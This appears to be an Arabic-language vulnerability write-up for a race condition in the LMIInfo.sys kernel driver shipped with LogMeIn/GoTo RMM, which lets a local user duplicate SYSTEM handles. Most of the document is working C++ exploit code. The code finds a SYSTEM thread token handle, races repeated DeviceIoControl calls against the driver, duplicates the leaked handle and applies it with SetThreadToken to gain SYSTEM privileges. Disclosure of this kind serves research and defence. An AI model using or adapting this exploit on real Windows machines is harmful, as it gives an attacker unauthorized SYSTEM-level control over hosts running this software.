
استغلال لثغرة حالة سباق في برنامج تشغيل نواة ويندوز لـ LogMeIn/GoTo يستنسخ مقابض SYSTEM، مما يتيح انتحال رمز مؤشر الترابط وتصعيد الامتيازات محلياً.
توجد حالة سباق (race condition) في برنامج التشغيل LMIInfo.sys الذي توفره LogMeIn / GoTo RMM، ويمكن من خلالها تكرار مقبض (handle) عشوائي من عملية النظام (SYSTEM). يعود السبب الجذري إلى عدم وجود تحكم مناسب في الوصول إلى كائن الجهاز، بالإضافة إلى القرار السيئ الواضح بتكرار مقابض يحددها المستخدم من عملية النظام.
IOCTL: 0x9211001C
مخزن الإدخال:
// LMI-Common.cpp
typedef struct LMI_INFO {
DWORD64 qwPid;
DWORD64 reserved0;
DWORD64 handleValue;
DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;
جدول التوزيع:

الدالة المتأثرة:

عند جمع معلومات المقابض وتنفيذ معالجة السلاسل النصية، وبين استدعاءات ZwDuplicateObject/ZwClose، يمكن لعملية الاستدعاء تكرار المقبض المكرَّر. إذا نُفّذ ذلك بشكل صحيح، فسيستمر المقبض المكرَّر الثانوي في الوجود بعد إغلاق المقبض المكرَّر الأساسي.
لتفعيل الثغرة بشكل موثوق، يجب إنشاء جميع المقابض المستخدمة من قبل العملية قبل تفعيل حالة السباق. يتم الاستعلام عن المقبض الهدف من عملية النظام باستخدام الدالة التالية (يُستخدم رمز الخيط (thread token) كمثال):
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
HANDLE hHeap = GetProcessHeap();
LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
ULONG ulBytesReturned = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);
while (status == 0xC0000004) {
HeapFree(hHeap, 0, lpBuf);
lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
}
if (status) {
printf("Query for handles failed - %lx\n", status);
return INVALID_HANDLE_VALUE;
}
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;
for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
if (shtei.UniqueProcessId != 4) {
continue;
}
printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
return (HANDLE)shtei.HandleValue;
}
}
return INVALID_HANDLE_VALUE;
}
بما أن قيم HANDLE تزداد بزيادات مقدارها 4، فإننا نحسب قيمة المقبض المكرَّر الأساسي عن طريق الحصول على عدد المقابض HANDLE وإضافة 4. وبناءً عليه، نفتح الجهاز وننشئ خيط "السباق" (racing thread) في حالة معلّقة قبل حساب قيمة المقبض التالي. ربما يمكن تنفيذ ذلك بطريقة أكثر استقرارًا و"دقة"، ونترك ذلك كتمرين للقارئ الأكثر مهارة على الأرجح، لول.
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
HANDLE highestHandle = 0;
UINT32 u32NumHandles = 0;
ULONG ulSizeReturned = 0;
NTSTATUS status = 0;
status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
if (!NT_SUCCESS(status)) {
return (HANDLE)-1;
}
return (HANDLE)((UINT64)++u32NumHandles * 4);
}
بمجرد اكتمال ذلك، يُستأنَف خيط السباق ويتم إرسال طلبات IOCTL متكررة:
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
puts("Entered DupeThread");
if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
printf("Invalid device handle passed to thread : %lx\n", GetLastError());
return -1;
}
PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;
DWORD dwBytesReturned = 0;
LMI_INFO lmii = { 0 };
lmii.qwPid = 4;
lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know
if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
puts("Couldn't find a token handle in the system process??");
}
BOOL bRes = FALSE;
LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (!lpOutBuf) {
printf("HeapAlloc : %lx\n", GetLastError());
return -1;
}
while (Dti->Run) {
// call DeviceIoControl to start the race
bRes = DeviceIoControl(
Dti->hDevice,
IOCTL_DUPE_LEL,
&lmii,
sizeof(LMI_INFO),
lpOutBuf,
0x1000,
&dwBytesReturned,
NULL
);
}
}
الاعتبار التصميمي لخيط السباق يعود إلى ما يلي:
يستدعي الخيط الرئيسي الدالة DuplicateHandle بشكل متكرر لتكرار المقبض المكرَّر الأساسي حتى ينجح التكرار، ويتم تعيين القيمة المنطقية العامة (global boolean) إلى false لإنهاء خيط السباق (أعلم، أعلم).
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);
puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
printf("Error resuming dupe thread - %lx\n", GetLastError());
return -1;
}
while (!bRes) {
bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}
dti.Run = FALSE;
if (bRes) {
puts("ebin");
printf("%llx - target\n", hTarget);
printf("%llx - dup\n", hToken);
bRes = SetThreadToken(NULL, hToken);
if (!bRes) {
printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
}
else {
puts("Set the thread token!");
}
}
else {
printf("Failed to dupe token: %lx\n", GetLastError());
return -1;
}
getchar();
return 0;